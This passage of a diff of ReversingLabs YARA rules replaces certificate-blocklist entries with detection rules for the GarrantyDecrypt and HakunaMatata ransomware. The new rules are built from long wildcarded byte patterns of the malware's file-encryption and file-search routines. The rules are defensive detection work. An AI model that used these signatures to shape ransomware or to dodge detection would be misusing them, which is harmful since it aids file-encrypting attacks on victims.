= "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.GarrantyDecrypt.yara#L1-L79" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "951e35e2c3f1bd90a33f8b76b6ede5686ee9b9c97a4c71df5b9dff15956209c5" + logic_hash = "7194c1e0e15a89f2c691a7d586b9db68295cc52a5f042d0f7eb558c326430444" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "GarrantyDecrypt" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files_p1 = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B + 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 33 DB 53 53 8D 45 ?? 50 89 5D ?? FF D6 85 C0 75 + ?? 68 ?? ?? ?? ?? 6A ?? 53 53 8D 45 ?? 50 FF D6 85 C0 74 ?? 8B 45 ?? A3 ?? ?? ?? ?? + 3B C3 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 3B F3 0F 84 ?? ?? ?? ?? 8B 7E ?? 8B 46 + ?? 33 C9 3B FB 76 ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 29 45 ?? 8B 55 ?? 8D 84 0D ?? ?? ?? + ?? 8A 14 02 41 88 10 3B CF 72 ?? 68 ?? ?? ?? ?? 53 53 FF 76 ?? FF 36 FF 35 ?? ?? ?? + ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 3B FB 74 ?? 8B 46 ?? 68 ?? ?? ?? ?? 89 45 + ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 53 6A ?? 53 57 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B + 45 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? FF 36 E8 + ?? ?? ?? ?? FF 76 ?? E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? 53 FF + 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 53 FF 15 + } + $encrypt_files_p2 = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8D 45 ?? 50 6A ?? 5F 57 FF 35 ?? ?? ?? ?? FF 15 + ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 58 E8 ?? ?? ?? ?? 8B C8 33 DB 89 4D ?? 3B + CB 0F 84 ?? ?? ?? ?? 8D 45 ?? 89 7D ?? 8B F1 2B C1 8A 14 30 88 16 46 4F 75 ?? 6A ?? + 8D 45 ?? 50 51 53 6A ?? 53 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 75 ?? 53 68 ?? ?? + ?? ?? 6A ?? 53 6A ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 0F 84 ?? + ?? ?? ?? 89 5D ?? 89 5D ?? 8B 3D ?? ?? ?? ?? 56 FF D7 8D 04 46 83 E8 ?? 66 83 38 ?? + 75 ?? 8B 4D ?? FF B1 ?? ?? ?? ?? 2B C6 83 C0 ?? D1 F8 8D 04 46 50 FF 15 ?? ?? ?? ?? + 3B C3 74 ?? 50 FF D7 8B 4D ?? FF B1 ?? ?? ?? ?? 89 45 ?? FF D7 39 45 ?? 74 ?? 83 45 + ?? ?? 83 7D ?? ?? 72 ?? EB ?? C7 45 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B + 3D ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 89 45 ?? 3B C3 0F 84 ?? ?? ?? ?? 53 8D 45 ?? 50 68 + ?? ?? ?? ?? FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 33 C0 89 5D ?? 3B + C3 72 ?? 77 ?? 39 5D ?? 76 ?? 8B 45 ?? 8B C8 81 E1 ?? ?? ?? ?? 79 ?? 49 83 C9 ?? 41 + 89 4D ?? 75 ?? 99 83 E2 ?? 03 C2 C1 F8 ?? 99 52 50 8D 85 ?? ?? ?? ?? 50 8D 45 ?? E8 + ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 8B 55 ?? 8B 45 ?? 8A 8C 0D ?? ?? ?? ?? 30 0C 10 FF 45 + ?? 8B 45 ?? 99 33 C9 3B D1 72 ?? 77 ?? 3B 45 ?? 72 ?? 8B 45 ?? 6A ?? F7 D8 99 53 52 + 50 FF 75 ?? FF D7 53 8D 45 ?? 50 FF 75 ?? FF 75 ?? FF 75 ?? FF D6 39 5D ?? 74 ?? 81 + 7D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 59 6A ?? 53 53 33 C0 50 + FF 75 ?? C7 45 ?? ?? ?? ?? ?? FF D7 53 8D 45 ?? 50 6A ?? 8D 45 ?? 50 FF 75 ?? FF D6 + 53 8D 45 ?? 50 6A ?? FF 75 ?? FF 75 ?? FF D6 FF 75 ?? FF 15 ?? ?? ?? ?? B8 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8B F0 3B F3 74 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 56 FF 15 ?? ?? ?? ?? 83 C4 ?? 56 FF 75 ?? FF 15 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? + 59 FF 75 ?? E8 ?? ?? ?? ?? 59 5F 5E 5B C9 C3 + } + $find_files = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 89 5D ?? 85 + DB 0F 84 ?? ?? ?? ?? FF 75 ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? BF ?? ?? ?? ?? 57 53 + FF D6 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 0F 84 ?? + ?? ?? ?? BB ?? ?? ?? ?? 83 65 ?? ?? 8B 45 ?? FF B0 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 + FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 83 45 ?? ?? 83 7D ?? ?? 72 ?? 8D 85 ?? ?? + ?? ?? 50 FF 75 ?? 53 57 FF 75 ?? FF D6 83 C4 ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 68 ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? FF 75 ?? E8 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? + 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? F6 85 ?? ?? ?? ?? ?? 74 ?? FF 75 + ?? E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? + ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? 53 57 FF 75 ?? FF D6 83 + C4 ?? 33 F6 56 68 ?? ?? ?? ?? 6A ?? 56 6A ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? + ?? 8B D8 83 FB ?? 74 ?? 56 8B 35 ?? ?? ?? ?? 8D 45 ?? 50 BF ?? ?? ?? ?? 57 FF D6 50 + 57 8B 3D ?? ?? ?? ?? 53 FF D7 6A ?? 8D 45 ?? 50 FF 35 ?? ?? ?? ?? FF D6 50 FF 35 ?? + ?? ?? ?? 53 FF D7 53 FF 15 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 59 5F 5E 5B C9 C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "3-T TOV" and pe.signatures [ i ] . serial == "43:db:44:48:d8:70:d7:bd:c2:75:f3:6a:01:fb:a3:6f" and 1436227199 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and $find_files and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_2880A7F7Ff2D334Aa08744A8754Fab2C : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Hakunamatata : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects HakunaMatata ransomware." author = "ReversingLabs" - id = "b079b564-9284-59b6-9703-4e33f2b2c44d" - date = "2020-08-05" - modified = "2023-11-08" + id = "17438fcd-7a51-5fb6-96ac-38523bc1744f" + date = "2020-11-11" + modified = "2020-11-11" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1744-L1760" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.HakunaMatata.yara#L1-L373" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "03c7e1251c44e8824ae3b648a95cf34f4c56db65d76806306a062a343981d87f" + logic_hash = "e363ff93fce286d60a3f5ea20ba3ec03564b7a5321c3f6448cc82187f23e8a9f" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "HakunaMatata" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files = { + 55 89 E5 57 56 53 81 EC ?? ?? ?? ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? + 85 C0 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? 89 14 24 89 C1 E8 ?? + ?? ?? ?? 83 EC ?? 84 C0 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? + ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 + 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 89 45 ?? 83 7D ?? + ?? 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? + ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B + 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? + C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 + EC ?? 85 C0 0F 95 C0 84 C0 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 89 45 ?? 89 55 ?? 8B + 45 ?? 8B 40 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 89 54 24 + ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8B 50 ?? 89 D0 C1 E0 ?? + 01 D0 01 C0 89 45 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? C7 44 24 ?? ?? ?? ?? + ?? 8D 45 ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 + A1 ?? ?? ?? ?? FF D0 83 EC ?? 85 C0 0F 94 C0 84 C0 74 ?? C7 45 ?? ?? ?? ?? ?? E9 ?? + ?? ?? ?? 8B 45 ?? 8B 40 ?? BA ?? ?? ?? ?? 8B 4D ?? 8B 5D ?? 39 DA 72 ?? 39 DA 77 ?? + 39 C8 76 ?? 89 C8 89 DA 89 45 ?? 8B 55 ?? 8B 45 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 4D ?? + 89 4C 24 ?? 89 54 24 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? + 83 F8 ?? 0F 94 C0 84 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 8B 45 ?? 89 4C 24 ?? 89 + 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 89 C6 8B 45 ?? 89 C1 BB + ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 89 CF 31 C7 89 7D ?? 89 DF 31 D7 89 7D ?? 8B 45 ?? 0B + 45 ?? 85 C0 0F 94 C0 0F B6 C8 8B 55 ?? 8B 45 ?? 89 44 24 ?? 8D 45 ?? 89 44 24 ?? 89 + F0 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 14 24 + A1 ?? ?? ?? ?? FF D0 83 EC ?? 89 45 ?? A1 ?? ?? ?? ?? FF D0 89 45 ?? 8B 45 ?? 85 C0 + 79 ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? C7 44 24 ?? ?? ?? ?? ?? + 8D 4D ?? 89 4C 24 ?? 89 54 24 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 + 83 EC ?? 85 C0 0F 94 C0 84 C0 74 ?? C7 45 ?? ?? ?? ?? ?? 90 EB ?? 8B 4D ?? 8B 5D ?? + 8B 45 ?? BA ?? ?? ?? ?? 29 C1 19 D3 89 C8 89 DA 89 45 ?? 89 55 ?? 8B 45 ?? BA ?? ?? + ?? ?? 01 45 ?? 11 55 ?? 8B 45 ?? 8B 55 ?? 89 C6 83 F6 ?? 89 75 ?? 89 D0 80 F4 ?? 89 + 45 ?? 8B 55 ?? 8B 4D ?? 89 C8 09 D0 85 C0 74 ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? + 8B 45 ?? 85 C0 74 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 85 C0 74 ?? 8B 45 ?? + 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 + 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? + ?? EB ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 + EC ?? 8B 45 ?? 8D 65 ?? 5B 5E 5F 5D C2 + } + $encrypt_files_2 = { + 55 89 E5 56 53 81 EC ?? ?? ?? ?? 89 4D ?? 8B 45 ?? 89 85 ?? ?? ?? ?? 8B 45 ?? 89 85 + ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? 85 C0 0F 84 ?? ?? ?? ?? C7 45 ?? + ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? 89 04 24 89 D1 E8 ?? ?? ?? ?? 83 EC ?? 84 C0 0F 84 ?? + ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 + 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 + 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? C7 44 24 ?? + ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? + C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF + D0 83 EC ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 89 + 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 85 C0 0F 95 C0 84 C0 0F 84 + ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? + ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 89 45 ?? 89 55 ?? 8B 45 ?? 8B 55 ?? 89 45 ?? 89 55 ?? + 8B 85 ?? ?? ?? ?? 80 F4 ?? 89 C3 8B 85 ?? ?? ?? ?? 80 F4 ?? 89 C6 89 F0 09 D8 85 C0 + 74 ?? 8B 45 ?? 8B 55 ?? 3B 95 ?? ?? ?? ?? 72 ?? 3B 95 ?? ?? ?? ?? 77 ?? 3B 85 ?? ?? + ?? ?? 76 ?? 8B 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 45 ?? 89 55 ?? 8B 45 ?? 8B 40 ?? + 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 8B 55 ?? 89 44 24 ?? C7 44 24 ?? + ?? ?? ?? ?? 89 14 24 E8 ?? ?? ?? ?? 8B 45 ?? 8B 50 ?? 89 D0 C1 E0 ?? 01 D0 01 C0 89 + 45 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 45 ?? 89 + 44 24 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? + FF D0 83 EC ?? 85 C0 0F 94 C0 84 C0 74 ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 + ?? 8B 40 ?? BA ?? ?? ?? ?? 8B 4D ?? 8B 5D ?? 39 DA 72 ?? 39 DA 77 ?? 39 C8 76 ?? 89 + C8 89 DA 89 45 ?? 8B 4D ?? 8B 55 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? 89 + 4C 24 ?? 89 54 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 83 F8 ?? 0F 94 + C0 84 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 8B 45 ?? 89 4C 24 ?? 89 54 24 ?? 89 04 + 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 89 C1 BB ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? + 89 CE 31 C6 89 B5 ?? ?? ?? ?? 89 DE 31 D6 89 B5 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 8B B5 + ?? ?? ?? ?? 89 D8 09 F0 85 C0 0F 94 C0 88 45 ?? 8B 55 ?? 0F B6 4D ?? 8B 5D ?? 8B 45 + ?? 89 44 24 ?? 8D 45 ?? 89 44 24 ?? 89 54 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? + C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 89 45 ?? A1 ?? ?? ?? + ?? FF D0 89 45 ?? 8B 45 ?? 85 C0 79 ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 4D ?? + 8B 55 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? 8B 45 + ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 85 C0 0F 94 C0 84 C0 74 ?? C7 45 ?? ?? ?? + ?? ?? 90 EB ?? 8B 4D ?? 8B 5D ?? 8B 45 ?? BA ?? ?? ?? ?? 29 C1 19 D3 89 C8 89 DA 89 + 45 ?? 89 55 ?? 8B 45 ?? BA ?? ?? ?? ?? 01 45 ?? 11 55 ?? 8B 45 ?? 8B 55 ?? 89 C6 83 + F6 ?? 89 B5 ?? ?? ?? ?? 89 D0 80 F4 ?? 89 85 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 8B B5 ?? + ?? ?? ?? 89 F0 09 D8 85 C0 74 ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? + ?? 80 F4 ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 80 F4 ?? 89 85 ?? ?? ?? ?? 8B 9D ?? + ?? ?? ?? 8B B5 ?? ?? ?? ?? 89 F0 09 D8 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 2B + 45 ?? 1B 55 ?? 89 45 ?? 89 55 ?? 8B 45 ?? 8B 40 ?? 89 C1 BB ?? ?? ?? ?? 8B 45 ?? 8B + 55 ?? 39 D3 72 ?? 39 D3 77 ?? 39 C1 76 ?? 89 C1 89 D3 89 4D ?? 8B 45 ?? C7 44 24 ?? + ?? ?? ?? ?? 8D 55 ?? 89 54 24 ?? 8B 55 ?? 89 54 24 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 + A1 ?? ?? ?? ?? FF D0 83 EC ?? 83 F8 ?? 0F 94 C0 84 C0 0F 84 ?? ?? ?? ?? 8B 55 ?? 8B + 45 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 4D ?? 89 4C 24 ?? 89 54 24 ?? 89 44 24 ?? 8B 45 ?? + 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 85 C0 0F 94 C0 84 C0 74 ?? C7 45 ?? ?? ?? ?? + ?? EB ?? 8B 45 ?? 8B 55 ?? 8B 4D ?? BB ?? ?? ?? ?? 29 C8 19 DA 89 45 ?? 89 55 ?? 8B + 45 ?? 8B 55 ?? 89 C3 80 F7 ?? 89 9D ?? ?? ?? ?? 89 D0 80 F4 ?? 89 85 ?? ?? ?? ?? 8B + 9D ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 89 F0 09 D8 85 C0 74 ?? E9 ?? ?? ?? ?? C7 45 ?? ?? + ?? ?? ?? 8B 45 ?? 85 C0 74 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 85 C0 74 ?? + 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B + 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 89 04 24 E8 + ?? ?? ?? ?? EB ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? + FF D0 83 EC ?? 8B 45 ?? 8D 65 ?? 5B 5E 5D C2 + } + $search_files = { + E8 ?? ?? ?? ?? 83 EC ?? 85 C0 0F 95 C0 88 45 ?? 80 7D ?? ?? 74 ?? C7 44 24 ?? ?? ?? + ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? + 83 EC ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? 83 45 ?? ?? EB ?? A1 ?? + ?? ?? ?? FF D0 89 C3 C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 + 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? 89 1C 24 89 C1 E8 ?? ?? ?? ?? 83 EC + ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 + ?? ?? ?? ?? 83 EC ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? 8B 45 ?? 89 + C1 E8 ?? ?? ?? ?? 8B 5D ?? 85 DB 74 ?? 89 D9 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? + 89 1C 24 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 + ?? ?? ?? ?? 90 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 89 C1 + E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? EB ?? 90 8D 85 + ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 85 C0 0F 95 + C0 84 C0 74 ?? E9 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? + ?? ?? A1 ?? ?? ?? ?? FF D0 89 C3 C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? + ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? 89 1C 24 89 C1 E8 ?? ?? + ?? ?? 83 EC ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? C7 44 24 ?? ?? ?? + ?? ?? 89 04 24 E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? C7 + 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? BB ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 + ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 83 7D ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 05 ?? + ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 85 C0 74 ?? B8 ?? ?? ?? ?? EB ?? B8 ?? ?? ?? ?? 84 C0 + 74 ?? 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 89 C2 8B 85 ?? ?? ?? ?? 89 14 24 89 C1 + E8 ?? ?? ?? ?? 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 89 C2 8B 45 ?? 89 04 24 89 D1 E8 ?? ?? ?? ?? 83 EC ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 + ?? ?? ?? ?? 83 EC ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? C7 44 24 ?? + ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 + } + $search_files_2 = { + FF 15 ?? ?? ?? ?? EB ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? FF 15 ?? ?? ?? + ?? 89 C3 C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 + 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 50 ?? 81 C2 ?? ?? ?? ?? 8B 42 ?? + 83 E0 ?? 83 C8 ?? 89 42 ?? 89 1C 24 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 89 C3 8B + 00 89 DA 03 50 ?? 8B 42 ?? 83 E0 ?? 83 C8 ?? 89 42 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 89 1C 24 E8 ?? ?? + ?? ?? 89 C1 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 FF 15 ?? ?? ?? + ?? 83 EC ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 83 BB ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? + 89 04 24 89 D9 E8 ?? ?? ?? ?? 83 EC ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24 + ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 + 04 24 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 89 04 24 E8 ?? ?? ?? ?? 89 C1 